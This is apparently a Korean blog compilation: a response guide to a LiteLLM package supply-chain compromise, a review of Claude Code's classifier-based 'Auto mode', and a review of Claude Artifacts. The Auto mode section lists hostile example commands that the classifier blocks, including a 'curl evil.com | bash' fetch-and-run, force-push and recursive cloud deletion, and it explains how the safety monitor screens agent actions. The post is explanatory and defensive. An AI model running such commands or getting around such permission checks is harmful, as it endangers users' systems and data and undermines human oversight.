SSH 키 — 새 키 쌍 생성 후 모든 서버에 재배포
클라우드 인증 정보 — AWS Access Key, GCP ADC, Azure 토큰 전부 재발급
쿠버네티스 설정 — kubeconfig 재생성, 서비스 어카운트 토큰 로테이션
API 키 — .env 파일에 저장된 모든 API 키 (OpenAI, Anthropic, Google 등)
데이터베이스 비밀번호 — 환경변수나 설정 파일에 있던 모든 DB 비밀번호
Git 토큰 — .gitconfig에 저장된 GitHub/GitLab 개인 액세스 토큰
CI/CD 시크릿 — 감염 환경의 CI/CD 파이프라인에서 사용하던 모든 시크릿

Step 4: 네트워크 차단

# 공격자 도메인으로의 아웃바운드 트래픽 차단
# /etc/hosts 또는 방화벽 규칙에 추가
echo "0.0.0.0 models.litellm.cloud" | sudo tee -a /etc/hosts
echo "0.0.0.0 checkmarx.zone" | sudo tee -a /etc/hosts
# models.litellm.cloud = 데이터 유출 서버
# checkmarx.zone = 백도어 C2 폴링 서버 (50분 간격)

(출처: FutureSearch 대응 가이드, Microsoft Security Blog)

8. 교훈 — 바이브 코딩 시대의 공급망 보안

바이브 코딩이 공격 표면을 넓힌다

이 사건에서 가장 주목할 점은 FutureSearch의 발견 경위다. Cursor에서 MCP 플러그인을 사용했을 뿐인데, LiteLLM이 간접 의존성으로 자동 설치되었다. 본인이 pip install litellm을 타이핑한 적이 없다.

바이브 코딩 환경에서는 AI 에이전트가 패키지를 자동으로 설치한다. 사용자가 설치 목록을 일일이 확인하지 않는다. 이 자동화된 신뢰가 공급망 공격의 핵심 공격 표면이 된다.

보안 도구의 역설

TeamPCP의 전략은 보안 도구를 먼저 감염시키는 것이다. Trivy는 코드의 보안 취약점을 스캔하는 도구다. 기업들은 "보안을 위해" 이 도구를 CI/CD에 추가한다. 그런데 이 보안 도구 자체가 감염되면, 보안을 강화하려는 행위 자체가 인증 정보를 유출하는 행위가 된다.

키 집중 관리의 양면성

LiteLLM이 타겟이 된 이유는 명확하다. 100개 이상의 AI 서비스 API 키를 한곳에서 관리하는 도구이기 때문이다. 키를 한곳에 모으면 관리는 편해지지만, 그 한곳이 뚫리면 모든 키가 동시에 유출된다. 편의성과 보안의 근본적 긴장이다.

방어를 위한 실전 체크리스트

의존성 고정 — pip install litellm 대신 pip install litellm==1.82.6처럼 버전을 명시하고, lockfile을 사용한다
GitHub Action 태그 고정 — uses: aquasecurity/trivy-action@v0.X 대신 커밋 SHA를 고정한다
CI/CD 시크릿 최소 권한 — PyPI 업로드 토큰은 해당 job에서만 접근 가능하도록 범위를 제한한다
간접 의존성 모니터링 — pip list나 uv pip list를 정기적으로 확인하여 예상치 못한 패키지가 설치되었는지 검사한다
네트워크 이그레스 제한 — 프로덕션 환경에서 알려진 도메인 이외로의 아웃바운드 트래픽을 차단한다

9. 트러블슈팅 Q&A

Q. pip show litellm 했는데 버전이 1.82.6 이하이다. 안전한가?

감염 버전은 1.82.7과 1.82.8이다. 1.82.6 이하라면 이번 사건의 직접적 영향은 없다. 다만 캐시에 감염 파일이 남아 있을 수 있으니 find ~/.cache -name "litellm_init.pth"로 추가 확인한다.

Q. litellm이 설치되어 있지 않다. 완전히 안전한가?

이번 LiteLLM 사건에 대해서는 안전하다. 하지만 TeamPCP의 캠페인은 LiteLLM만이 아니다. Trivy, KICS(Checkmarx)도 감염되었고, Endor Labs는 "이 캠페인은 아직 끝나지 않았다"고 경고했다. CI/CD에서 Trivy GitHub Action이나 KICS GitHub Action을 사용하고 있다면 해당 사건도 별도로 확인해야 한다.

Q. macOS에서도 systemd 백도어가 작동하는가?

macOS에는 systemd가 없으므로 systemd 경로의 백도어는 작동하지 않는다. 하지만 Stage 1(인증 정보 수집)과 Stage 2(외부 전송)는 OS에 관계없이 실행된다. macOS 사용자도 감염 버전이 설치되었다면 인증 정보가 유출되었을 가능성이 있다. ~/.config/sysmon/ 디렉토리가 존재하는지 확인한다.

Q. Docker 컨테이너 안에서만 litellm을 사용했다. 호스트도 위험한가?

컨테이너 안에서만 실행했다면 호스트 파일시스템의 인증 정보는 안전할 가능성이 높다. 하지만 컨테이너에 마운트된 시크릿, 환경변수로 전달된 API 키, 쿠버네티스 서비스 어카운트 토큰은 유출 대상이다. 컨테이너 내부에서 접근 가능했던 모든 인증 정보를 교체한다.

Q. 현재 LiteLLM을 계속 사용해도 되는가?

2026년 3월 26일 현재, litellm 전체 패키지가 PyPI에서 격리 중이다. 감염 버전뿐 아니라 모든 버전이 pip install litellm으로 설치할 수 없다. 이미 설치된 1.82.6 이하는 그 자체로는 안전하지만, PyPI에서 새로 받을 수는 없다. BerriAI는 관리자 계정을 전체 교체했고, 공급망 검토 완료 시까지 새 릴리스를 중단한 상태다. Trusted Publishers(OIDC)로의 마이그레이션도 논의 중이다. BerriAI 공식 대응 이슈(#24518)와 공식 보안 공지를 추적한다.

Q. 노출 시간이 약 5시간이었는데, 실제로 영향 받은 사람이 많을까?

LiteLLM 공식 공지 기준 영향 시간대는 10:39~16:00 UTC (약 5시간 20분)이다. 일 다운로드 340만 회 기준으로, 5시간이면 약 70만 다운로드에 해당할 수 있다 (단순 비율 추정). 모든 다운로드가 감염 버전을 받은 것은 아니지만, CI/CD 파이프라인에서 pip install litellm(버전 미고정)을 실행하는 환경은 자동으로 최신 버전을 받았을 가능성이 있다. 정확한 피해 규모는 아직 공개되지 않았다.

10. 결론

언제 경계해야 하는가 / 언제 안심할 수 있는가

상황	위험도	행동
litellm 1.82.7 또는 1.82.8 설치됨	긴급	즉시 삭제 + 백도어 제거 + 모든 인증 정보 교체
litellm 설치되어 있으나 다른 버전	주의	캐시에 감염 파일 없는지 확인, 버전 고정 설정
litellm 미설치, CI/CD에서 Trivy 사용	주의	Trivy 사건 별도 대응 필요 (3월 19일~)
litellm 미설치, Trivy 미사용	낮음	간접 의존성 점검, 의존성 고정 습관화

오늘 / 이번 주 / 운영에 반영할 것

오늘:

pip show litellm 실행하여 버전 확인
감염 환경이면 Step 1~4 즉시 수행
models.litellm.cloud 도메인 차단

이번 주:

모든 프로젝트의 의존성 lockfile 점검 (requirements.txt, poetry.lock, uv.lock)
CI/CD에서 사용하는 GitHub Action 태그를 커밋 SHA로 교체
CI/CD 시크릿의 접근 범위 최소화

운영에 반영:

프로덕션 환경의 이그레스 트래픽을 화이트리스트 방식으로 제한
의존성 업데이트 시 자동화된 보안 스캔 적용 (단, 스캔 도구 자체도 검증 필요)
API 키 집중 관리 도구 사용 시 키 로테이션 주기 단축 및 접근 로그 모니터링

Endor Labs의 보안 연구자들은 "이 캠페인은 아직 끝나지 않았다"고 경고했다. TeamPCP는 5개 패키지 생태계에 걸쳐 공격을 확장 중이고, 신뢰 체인을 타고 올라가는 패턴을 반복하고 있다. 다음 타겟이 무엇이 될지 아무도 모른다.

바이브 코딩 시대에 pip install 한 줄은 더 이상 가벼운 행위가 아니다.

참고자료

Claude Code 신기능 'Auto mode' 리뷰 : 승인 팝업 없이 Claude Code 쓰는 법 (--dangerously-skip-permissions 없이 자동 실행)

갓대희 — Thu, 26 Mar 2026 00:38:52 +0900

안녕하세요! 갓대희 입니다.

Claude Code 쓰면서 가장 짜증나는 순간이 있다. ls 하나에도 "허용하시겠습니까?", grep 한 번에도 "허용하시겠습니까?".

그래서 다들 --dangerously-skip-permissions를 키고 사용하고 있지 않을까? 다만 이 경우엔 마음 한켠에선 claude가 뭘 하든 무조건 통과라 좀 불안하기도 할 것 이다.

2026년 3월 24일, Anthropic이 이 딜레마에 대한 답을 내놨다. Auto mode — AI가 각 작업의 안전성을 자체 판단해서, 안전하면 자동 실행하고 위험하면 차단하는 모드이다.

Anthropic은 2026년 들어 사실상 이틀에 한 번꼴로 새 기능을 발표하고 있는데, Auto mode는 그 흐름 위에 올라탄 기능이다 — "자율 실행"에 안전장치를 붙이겠다는 시도.

공식 문서와 블로그를 기반으로 작동 원리, 설정법, 주의사항을 정리해보려 한다.

Auto Mode란
- 왜 나왔는가
- 한눈에 보기
작동 원리
- 분류기(Classifier)의 판단 흐름
- 기본 차단/허용 규칙
- 서브에이전트 처리
권한 모드 비교
- 6가지 모드 비교표
- vs --dangerously-skip-permissions
- vs Cursor / Codex
설정 가이드
- CLI에서 활성화
- VS Code / Desktop에서 활성화
- 관리자 설정
비용과 성능 영향
제한사항 및 주의사항
트러블슈팅 Q&A
결론

Claude Code Auto Mode 가이드
Auto mode는 Claude Code의 새 권한 모드이다. 별도의 분류기 모델이 각 tool call을 사전 평가하여, 안전한 작업은 자동 실행하고 위험한 작업은 차단한다.
2026년 3월 24일 리서치 프리뷰로 출시. Team 플랜에서 사용 가능하며, Enterprise/API는 곧 확대 예정이다.
주의: 완전한 안전을 보장하지 않는다. 분류기는 확률적 판단이며, 수동 검토를 대체하지 않는다.
(출처: Anthropic 공식 블로그, 공식 문서)

1. Auto Mode란

왜 나왔는가

Claude Code의 기본 권한은 의도적으로 보수적이다. 파일 수정과 bash 명령어마다 사용자 승인을 요구한다. 안전하지만, 큰 작업을 시작하고 자리를 비울 수 없다. Claude가 중간중간 승인을 기다리니까.

그래서 일부 개발자??? 사실 많은 개발자들이 --dangerously-skip-permissions를 쓴다. 모든 권한 체크를 건너뛰는 옵션이다. 편하지만 Anthropic 공식 문서에서도 "격리된 환경 밖에서는 사용하면 안 된다"고 경고하는 옵션이다.

Auto mode는 이 두 극단 사이의 중간 경로이다. 별도의 분류기 모델이 각 작업을 사전에 평가하여, 안전하면 자동 실행하고 위험하면 차단한다. 차단되면 Claude는 다른 방법을 찾는다.

한눈에 보기

항목	내용
출시일	2026년 3월 24일
상태	리서치 프리뷰
사용 가능 플랜	Team (현재), Enterprise/API (곧 확대). Pro/Max/Free는 아직 미제공
지원 모델	Claude Sonnet 4.6, Opus 4.6만. Haiku, Claude 3, 서드파티(Bedrock/Vertex/Foundry) 미지원
분류기 모델	Claude Sonnet 4.6 (메인 세션과 별도로 실행)
활성화	`claude --enable-auto-mode` → Shift+Tab으로 전환
공식 문서	Permission Modes

Pro/Max 사용자 주의

Auto mode는 현재 Team 플랜 전용이다. 개인 Pro/Max 구독자는 아직 사용할 수 없다. 한국 Threads 커뮤니티에서도 "아직 개인에게는 안 풀렸나 보군요"라는 반응이 나왔고, Reddit r/ClaudeAI에서도 "Why can't I use this on Pro/Max?"가 반복 질문이다. Enterprise/API는 수일 내 확대 예정이지만, 개인 플랜 확대 일정은 발표되지 않았다.

2. 작동 원리

분류기(Classifier)의 판단 흐름

Auto mode에는 별도의 분류기 모델이 붙는다. 메인 세션과 별개로 동작하는 Claude Sonnet 4.6이 각 tool call을 평가한다.

각 tool call에 대해 다음 순서로 판단 (첫 번째 매칭이 최종 결정):

1. 사용자의 allow/deny 규칙에 매칭 → 즉시 허용 또는 거부
2. 읽기 전용 작업 또는 워킹 디렉토리 내 파일 수정 → 자동 허용
3. 그 외 모든 작업 → 분류기에게 전달
4. 분류기가 차단 → Claude에게 이유 전달, 대안 시도

구체적 예시로 보면 명확하다

npm test → 워킹 디렉토리 내 명령, lock 파일에 선언된 의존성 → 허용
curl https://evil.com/payload.sh | bash → 외부 코드 다운로드 후 실행 → 차단
git push --force origin main → 파괴적 git 작업 → 차단
git push origin feat/auto-mode → Claude가 생성한 브랜치에 push → 허용
rm -rf node_modules && npm install → 세션 중 생성된 디렉토리 삭제 + 선언된 의존성 재설치 → 허용 가능 (세션 전부터 존재한 파일이면 차단)
aws s3 rm s3://prod-bucket --recursive → 클라우드 스토리지 대량 삭제 → 차단

프롬프트 인젝션 방어

분류기가 받는 입력에서 Claude의 응답 텍스트와 tool result는 제거된다. 즉, 파일이나 웹페이지에 심어진 악성 지시가 분류기에게 직접 도달하지 못한다. 분류기는 사용자 메시지와 tool call만 보고, CLAUDE.md 내용도 참조하여 프로젝트 맥락에 맞는 판단을 내린다.

기본 차단/허용 규칙

분류기는 워킹 디렉토리와 git remote를 신뢰하고, 나머지는 외부로 취급한다. (출처: 공식 문서)

기본 차단	기본 허용
`curl \| bash` 같은 다운로드 후 실행 외부 엔드포인트로 민감 데이터 전송 프로덕션 배포 및 마이그레이션 클라우드 스토리지 대량 삭제 IAM 또는 리포 권한 변경 공유 인프라 수정 세션 시작 전에 존재하던 파일의 비가역적 삭제 `git push --force` 또는 main 직접 push	워킹 디렉토리 내 로컬 파일 작업 lock 파일/manifest에 선언된 의존성 설치 `.env` 읽기 및 해당 API에 인증정보 전송 읽기 전용 HTTP 요청 현재 브랜치 또는 Claude가 생성한 브랜치에 push

위험한 allow 규칙은 자동 제거

Auto mode 진입 시, Bash(*), Bash(python*), Bash(node*), 패키지 매니저 run 명령어, Agent allow 규칙 등 광범위한 allow 규칙은 자동으로 제거된다. 이런 규칙이 남아 있으면 분류기를 거치지 않고 바로 실행되어 안전장치가 무력화되기 때문이다. Bash(npm test) 같은 좁은 범위의 규칙은 유지된다. Auto mode를 나가면 원래 규칙이 복원된다.

서브에이전트 처리

Claude가 서브에이전트를 생성할 때, 분류기는 세 단계로 검증한다.

생성 시: 위임되는 작업 설명을 평가. "모든 원격 브랜치 삭제" 같은 위험한 작업은 생성 자체를 차단.
실행 중: 서브에이전트의 tool call도 부모 세션과 동일한 규칙으로 분류기를 통과.
완료 시: 서브에이전트의 전체 작업 이력을 리뷰. 실행 중 읽은 콘텐츠에 의해 변조되었을 가능성을 검사. 우려 사항이 있으면 결과에 보안 경고를 붙여 메인 에이전트에게 전달.

3. 권한 모드 비교

6가지 모드 비교표

Claude Code는 이제 6가지 권한 모드를 제공한다. (출처: 공식 문서)

6가지가 모두 Shift+Tab으로 전환되는 건 아니다

실제 Shift+Tab 사이클은 모드별로 다르게 동작한다.

기본 사이클 (3가지): default → acceptEdits → plan
auto 추가 조건: --enable-auto-mode 플래그 + Team 플랜 + Sonnet 4.6/Opus 4.6 + 관리자 활성화가 모두 충족되어야 사이클에 등장
bypassPermissions 추가 조건: --dangerously-skip-permissions 또는 --permission-mode bypassPermissions로 시작했을 때만 사이클에 추가됨
dontAsk: Shift+Tab 사이클에 절대 등장하지 않음. CLI 플래그(--permission-mode dontAsk)로만 설정 가능

즉, "Shift+Tab 눌렀는데 auto가 없다"면 위 4가지 조건 중 하나라도 빠진 것이다. "4가지 모드가 보인다"면 --dangerously-skip-permissions가 활성화되어 bypassPermissions까지 사이클에 들어온 상태다.

모드	승인 프롬프트	안전 검사	토큰	적합한 상황
`default`	파일 수정 + 명령어	사용자가 직접 검토	표준	처음 시작, 민감한 작업
`acceptEdits`	명령어만	사용자가 명령어 검토	표준	코드 반복 수정

`plan`	수정 없이 계획만	—	표준	코드 탐색, 리팩토링 계획

`auto`	폴백 시에만	분류기가 명령어 검토	높음 (분류기 비용)	장시간 작업, 프롬프트 피로 감소
`dontAsk`	없음 (사전 허용만 실행)	사전 승인 규칙만	표준	잠금된 CI/CD 환경

`bypassPermissions`	없음	없음	표준	격리된 컨테이너/VM 전용

vs --dangerously-skip-permissions

한국 Threads에서 가장 많이 나온 질문이다. "그러면 --dangerously-skip-permissions랑 뭐가 다르죠? 그것보다 한 단계 발전된 형태로 보면 되나요?"

항목	Auto mode	bypassPermissions
안전 검사	분류기가 각 작업 사전 평가	없음 — 모든 작업 즉시 실행
프롬프트 인젝션 방어	있음 (tool result 제거)	없음
위험한 allow 규칙	진입 시 자동 제거	그대로 유지
폴백	연속 3회 또는 총 20회 차단 시 수동 전환	폴백 없음
추가 비용	분류기 호출 비용 발생	없음
권장 환경	격리 환경 권장 (필수 아님)	격리 환경 필수

한 줄 요약: "무조건적인 승인"이 bypassPermissions라면, auto는 "AI에게 판단을 위임"하는 것이다. (커뮤니티 표현 인용)

vs Cursor / Codex

커뮤니티에서의 반응은 "난 그래서 커서를 좋아함. 이미 있는 기능 ㅋㅋ"이라는 반응이 나왔고, 반대로 "이제 커서를 쓸 필요가 없는 거 아닌가"라는 답글도 달렸다. 실제 차이를 정리하면 다음과 같다.

항목	Claude Code Auto	Cursor Yolo	Codex full-auto
안전 분류기	별도 LLM (Sonnet 4.6)	없음 (전면 자동 승인)	샌드박스 격리
차단 시 대응	대안 접근 시도	—	샌드박스 내에서만 작동
서브에이전트 검사	생성/실행/완료 3단계	—	샌드박스 기반
CLAUDE.md 참조	분류기가 읽음	미지원	미지원

표만 보면 비슷해 보이지만, 철학이 다르다. Claude Auto mode는 "런타임에서 AI가 판단한다" — 유연하지만 확률적이다.

Codex full-auto는 "OS 샌드박스가 물리적으로 격리한다" — 딱딱하지만 결정적이다. Cursor YOLO는 "그냥 전부 승인한다" — 빠르지만 안전장치가 없다. 어떤 접근이 나은지는 팀의 위험 허용도에 따라 다르다.

비교 전제

위 비교는 2026-03-25 기준이다. Claude Code Auto(리서치 프리뷰), Cursor YOLO(해당일 공개 기능), Codex full-auto(샌드박스 기반). 각 제품의 업데이트 주기가 빠르므로 최신 공식 문서를 확인해야 한다.

4. 설정 가이드

CLI에서 활성화

# 1. auto mode 활성화하여 시작
claude --enable-auto-mode

# 2. 세션 중 Shift+Tab으로 모드 전환
#    default → acceptEdits → plan → auto

# 3. 직접 모드 지정하여 시작
claude --permission-mode auto --enable-auto-mode

# 4. 비대화형 모드에서 사용
claude -p "전체 테스트 리팩토링" --permission-mode auto --enable-auto-mode

# 5. 기본 차단/허용 규칙 확인
claude auto-mode defaults

VS Code / Desktop에서 활성화

VS Code: Settings → "Allow dangerously skip permissions" 활성화 → 프롬프트 박스 하단의 모드 인디케이터 클릭 → "Auto" 선택
Desktop: Organization Settings → Claude Code → Auto mode 토글 ON → 전송 버튼 옆 모드 셀렉터에서 "Auto" 선택

관리자 설정

Team/Enterprise 관리자는 조직 전체에서 auto mode를 비활성화할 수 있다.

{
  "disableAutoMode": "disable"
}

5. 비용과 성능 영향

Auto mode는 공짜가 아니다. 분류기가 각 작업마다 별도로 실행되므로 추가 비용이 발생한다.

토큰: 분류기 호출이 메인 세션과 동일하게 토큰 사용량에 집계된다. 각 검사에서 대화 트랜스크립트 일부 + 대기 중인 작업이 분류기에 전송된다.
비용 발생 시점: 주로 shell 명령어와 네트워크 작업에서 발생. 읽기 전용 작업과 워킹 디렉토리 내 파일 수정은 분류기를 거치지 않으므로 추가 비용 없음.
지연: 각 분류기 검사에 라운드트립이 추가된다.

6. 제한사항 및 주의사항

항목	내용
리서치 프리뷰	안전을 보장하지 않는다. bypassPermissions보다 나은 보호를 제공하지만, 수동 검토만큼 철저하지는 않다.
오탐 가능	분류기가 안전한 작업을 차단하거나, 위험한 작업을 허용할 수 있다. 사용자 의도가 모호하거나 환경 맥락이 부족할 때 오판 가능성이 있다.
플랜 제한	Team 전용. Pro/Max/Free 사용자는 아직 사용 불가.
모델 제한	Sonnet 4.6, Opus 4.6만. Haiku, Claude 3 계열, Bedrock/Vertex 미지원.
비대화형 모드	`-p` 플래그와 함께 사용 시, 폴백이 트리거되면 사용자 프롬프트가 불가능하므로 세션이 중단된다.
웹/모바일	claude.ai/code 클라우드 세션에서는 Auto mode 사용 불가. Remote Control 세션에서도 미제공.
폴백 임계치	연속 3회 또는 세션당 총 20회 차단 시 수동 모드로 전환. 이 값은 변경할 수 없다.

7. 트러블슈팅 Q&A

커뮤니티 질문과 공식 문서를 바탕으로 정리한다.

Q1. Shift+Tab을 눌러도 auto 옵션이 안 보인다

원인: --enable-auto-mode 플래그 없이 시작했거나, Team 플랜이 아니거나, 지원 모델(Sonnet 4.6/Opus 4.6)을 사용하지 않거나, 조직 관리자가 auto mode를 활성화하지 않은 경우. Team/Enterprise에서는 관리자가 먼저 Claude Code 관리 설정에서 auto mode를 켜야 사용자가 활성화할 수 있다.

# 올바른 시작 방법
claude --enable-auto-mode

Q2. Auto mode인데 자꾸 승인을 묻는다

원인: 폴백 임계치에 도달했다 (연속 3회 또는 세션당 20회 차단). 의도된 동작이다. 차단이 쌓이면 Claude가 직접 사용자에게 물어보도록 설계되어 있다. 승인하면 카운터가 리셋되고 auto mode가 재개된다.

Q3. 우리 팀 저장소에 push하는 것도 차단된다

원인: 분류기가 해당 저장소를 신뢰할 수 있는 대상으로 인식하지 못한 경우.

해결: autoMode.environment 설정에서 신뢰할 리포, 버킷, 내부 서비스를 등록한다.

Q4. Pro/Max인데 언제 쓸 수 있나요?

현재(2026-03-24) 공식 발표에는 Pro/Max 확대 일정이 포함되어 있지 않다. Team → Enterprise → API 순서로 롤아웃이 진행 중이며, 개인 플랜은 추후 발표를 기다려야 한다.

8. 결론

Auto mode는 "일일이 승인 vs 전면 방치"라는 양자택일에 세 번째 선택지를 만들었다. 별도의 분류기가 각 작업을 심사하고, 서브에이전트까지 3단계로 검사하며, 프롬프트 인젝션 방어 구조도 갖추고 있다.

다만 Simon Willison이 자신의 블로그에서 지적했듯이, "AI 분류기는 확률적 판단이지 하드 보증이 아니다." Reddit과 HN 커뮤니티의 합의도 같다 — "편리한 레이어이지, 신뢰할 수 있는 보안 경계는 아니다."

언제 쓰고, 언제 쓰지 않는가

Auto mode를 쓰세요	아직 쓰지 마세요
개발 브랜치에서 리팩토링/테스트 반복	운영 DB나 운영 키를 직접 만지는 작업
새 기능 구현 후 빌드+테스트 루프	프로덕션 배포/마이그레이션
긴 탐색 작업 (코드 분석, 문서 생성)	인프라 권한(IAM) 변경
샌드박스/컨테이너 환경에서의 실험	Pro/Max/Free 개인 플랜 (아직 미지원)

도입 가이드

권장 도입 순서

오늘: 샌드박스 리포에서 30분 테스트. claude --enable-auto-mode로 시작, 분류기가 뭘 차단하는지 관찰.
이번 주: 비프로덕션 브랜치에서 실제 개발 작업에 적용. claude auto-mode defaults로 기본 규칙 확인 후 필요 시 autoMode.environment에 신뢰 리소스 등록.
운영 리포: default 모드를 유지하되, 예외적으로 Auto를 허용. 1주간 로그를 검토한 뒤 조직 정책을 확정.

참고 자료

공식 블로그: Auto mode for Claude Code
공식 문서: Choose a permission mode
TechCrunch: Anthropic hands Claude Code more control
SiliconANGLE: Anthropic unchains Claude Code with auto mode

Claude 신기능 리뷰 - 대화중 인터랙티브(차트·다이어그램·시각화) 자료 실시간 생성 기능 리뷰 : 말 한마디로 웹앱이 나오는 시대

갓대희 — Wed, 25 Mar 2026 18:30:03 +0900

안녕하세요! 갓대희 입니다.

오늘은 클로드(Claude)의 시각화 업데이트가 왜 AI 시장에서 주목받는지, 그리고 실제로 어떻게 쓸 수 있는지 정리해 보려고 한다.

도입: 텍스트의 한계를 넘어 '완성품'을 제시하는 AI
Artifacts란 무엇인가
- 탄생 배경과 출시 타임라인
- 지원 유형과 기술 스펙
'라이브 프론트엔드'의 탄생
- 실시간 렌더링의 원리
- 내장 라이브러리 생태계
정적인 챗GPT vs 동적인 클로드 — 'UX 프릭션(Friction)'의 차이
- Canvas vs Artifacts 비교
- 배포 기능의 결정적 차이
- 커뮤니티 현장 반응 — 찬사와 불만 모두
- 바이브 코딩 도구와의 비교
Bun 인수 — 신의 한 수
- 인수 배경과 타임라인
- 기술적 의미
- Claude Code와의 관계
자연어 한마디로 CSS가 수정되는 마법
'0원' 무한 배포 파이프라인
- 내장 퍼블리시 기능
- 무료 호스팅 플랫폼 비교
- 바이브 코딩의 부상
실전 적용 시나리오
- 금융 및 데이터 대시보드
- 여행 및 일상 기획
- 미디어 및 콘텐츠 제작
- 나만의 맞춤형 도구
2026년 최신 업데이트
- 인라인 시각화
- AI-Powered Artifacts
- 영구 저장소와 MCP 연동
알아두어야 할 한계점
결론: 프론트엔드 개발의 민주화, 그리고 새로운 '공포'

이 글에서 다루는 내용
클로드의 Artifacts 시각화 기능이 왜 다른지, 기술적으로 어떻게 돌아가는지, ChatGPT와 비교하면 뭐가 다른지를 공식 문서 기반으로 따져본다.
Bun 인수가 가져온 변화부터 제로 컨피그 배포, 실전 활용 시나리오까지 하나씩 짚는다.

1. 도입 : 텍스트의 한계를 넘어 '완성품'을 제시하는 AI

ChatGPT나 클로드를 쓰다 보면 "이 데이터가 표가 아니라 직접 조작할 수 있는 차트로 나오면 얼마나 좋을까?"라는 생각이 한 번쯤 든다.

지금까지의 LLM이 코드를 짜주거나 텍스트를 요약해 주는 '재료 공급자'였다면, 이제는 그 재료로 즉시 실행 가능한 '완성품'을 내놓는 쪽으로 바뀌었다.

클로드의 Artifacts는 이 전환의 핵심이다. 단순히 코드를 텍스트로 나열하는 것이 아니라, HTML, CSS, JavaScript, React를 실시간으로 렌더링하여 즉시 상호작용할 수 있는 웹 애플리케이션을 채팅창 옆에 띄워준다.

핵심 관점

이 글은 기능 나열이 아니다. 클로드의 시각화 기능이 LLM 시장에서 왜 다른지를 기술적 근거와 공식 문서를 바탕으로 따져보려고 한다. Anthropic의 Bun 인수, 제로 컨피그 배포 파이프라인, 2026년 3월 인라인 시각화 업데이트까지 담았다.

2. Artifacts란 무엇인가

탄생 배경과 출시 타임라인

Artifacts는 2024년 6월, Claude 3.5 Sonnet 출시와 함께 기능 프리뷰(Feature Preview)로 처음 공개되었다.

이후 2024년 8월 27일, Claude.ai의 Free, Pro, Team 요금제에서 정식 출시(GA)되었다. (이후 Max, Enterprise 등 추가 요금제에도 확대 적용)

Anthropic의 공식 발표에 따르면, 프리뷰 기간 동안 사용자들이 "수천만 개(tens of millions)"의 Artifacts를 생성했다.

(출처: Anthropic: Artifacts are now generally available)

Artifacts의 정의 (공식)

Artifacts는 클로드가 코드 스니펫, 텍스트 문서, 웹사이트 디자인 등을 생성할 때 대화창 옆의 전용 윈도우에 실시간으로 렌더링하는 기능이다. 사용자가 결과물을 즉시 보고, 편집하고, 반복 개선할 수 있는 동적 작업 공간을 제공한다.

(출처: Claude Help Center: What are artifacts)

클로드는 다음 조건을 충족하는 콘텐츠를 Artifact로 생성한다:

상당한 분량(일반적으로 15줄 이상)의 독립적인 콘텐츠
사용자가 편집하거나 반복 수정할 가능성이 높은 콘텐츠
단독으로 활용할 수 있을 만큼 완결성이 있는 콘텐츠
나중에 다시 참조할 가능성이 높은 콘텐츠

지원 유형과 기술 스펙

Artifacts가 지원하는 콘텐츠 유형은 다음과 같다. (공식 Help Center + 개발자 문서 종합)

유형	MIME 타입	설명
React 컴포넌트	`application/vnd.ant.react`	React 18 기반 함수형 컴포넌트, 상태 관리, Tailwind CSS 지원
HTML 페이지	`text/html`	HTML + CSS + JavaScript를 하나의 파일로 생성
SVG 이미지	`image/svg+xml`	벡터 그래픽 생성
Mermaid 다이어그램	`application/vnd.ant.mermaid`	플로우차트, 시퀀스 다이어그램, ERD 등
마크다운 문서	`text/markdown`	서식이 적용된 텍스트 문서
코드 스니펫	다양한 언어	Python, JavaScript 등 (표시 전용)

(출처: Claude Help Center: What are artifacts)

그런데 Artifacts에는 사전 설치(Pre-installed)된 라이브러리들이 있다. 아래 목록은 서드파티 리버스 엔지니어링과 커뮤니티 분석 기반이며, Anthropic이 공식 목록을 별도로 공개하지는 않았다.

라이브러리	용도
React 18	UI 프레임워크 (Hooks, 상태 관리 전체 지원)
TypeScript	타입 안전한 JavaScript
Tailwind CSS	유틸리티 기반 CSS 프레임워크
shadcn/ui	사전 빌드된 UI 컴포넌트 라이브러리 (전체 컴포넌트 설치됨)
Recharts	동적 차트 및 데이터 시각화
Lucide React	아이콘 라이브러리
Three.js	3D 그래픽 및 애니메이션

추가로 Chart.js, D3.js, Plotly.js, p5.js 등은 cdnjs.cloudflare.com CDN을 통해 외부 로드가 가능하다.

Artifacts의 시스템 프롬프트에서 외부 스크립트 로드를 이 CDN으로만 제한하고 있기 때문이다.

(참고: Reid Barber: Reverse engineering Claude Artifacts — 서드파티 리버스 엔지니어링 기반 정보)

3. '라이브 프론트엔드'의 탄생

실시간 렌더링의 원리

기존 AI들은 코드를 텍스트로 길게 나열하고 "이걸 복사해서 실행해 보세요"라고 했다. 클로드는 HTML, CSS, JavaScript를 실시간으로 렌더링해서 우측 패널에 바로 작동하는 프론트엔드 결과물을 띄운다.

Artifacts의 렌더링은 다음과 같은 구조로 작동한다:

입력(Input): 사용자가 자연어로 프롬프트를 입력
처리(Process): 클로드가 HTML/CSS/JS 또는 React 코드를 생성
렌더링(Engine): 샌드박스된 iframe 안에서 클라이언트 사이드로 실행
출력(Output): 즉석에서 렌더링된 완전한 웹 컴포넌트가 사이드 패널에 표시

샌드박스 보안 모델

Artifacts는 샌드박스된 iframe 내에서 실행된다. 메인 페이지와 Artifact iframe 사이는 window.postMessage()를 통해 통신하며, 엄격한 CSP 헤더와 프로세스 격리가 적용되어 메인 Claude.ai 세션을 보호한다.

(참고: Reid Barber의 리버스 엔지니어링 분석 기반)

이미지 출력이 아니다. 마우스를 올리면 상세 정보가 뜨는 호버(Hover) 효과, 클릭에 반응하는 인터랙션, 입력값을 바꾸면 결과가 즉각 바뀌는 양방향 데이터 바인딩까지 된다. 말 그대로 움직이는 앱이다.

4. 정적인 챗GPT vs 동적인 클로드 — 'UX 프릭션(Friction)'의 차이

Canvas vs Artifacts 비교

ChatGPT의 Canvas는 2024년 10월 코드/텍스트 에디터로 출시되었고, 2025년 1월에 HTML과 React 코드 렌더링 기능이 추가되었다. 그러나 두 플랫폼의 접근 방식은 근본적으로 다르다. (2026년 3월 기준 비교)

비교 항목	Claude Artifacts	ChatGPT Canvas
핵심 철학	렌더링 우선 (Render-first) — 결과물이 라이브 웹 앱으로 즉시 표시	코드 에디터 우선 (Code-editor-first) — 코드 편집 후 선택적 미리보기
라이브 프리뷰	HTML/CSS/JS/React를 사이드 패널에서 실시간 렌더링	2025년 1월부터 HTML/React 렌더링 지원 (일부 불안정)
React 지원	React 18 + Hooks + 상태 관리 + 내장 라이브러리 완전 지원	React 렌더링 가능하나, 크래시 버그가 더 빈번
데이터 시각화	Recharts, Chart.js, D3.js 등으로 인터랙티브 차트 생성	Python(Matplotlib) 기반 정적 이미지가 기본, 일부 호버 지원
인라인 편집	프롬프트로 재생성 (전체 코드 재작성 경향)	Canvas의 강점 — 하이라이트 후 부분 수정 가능
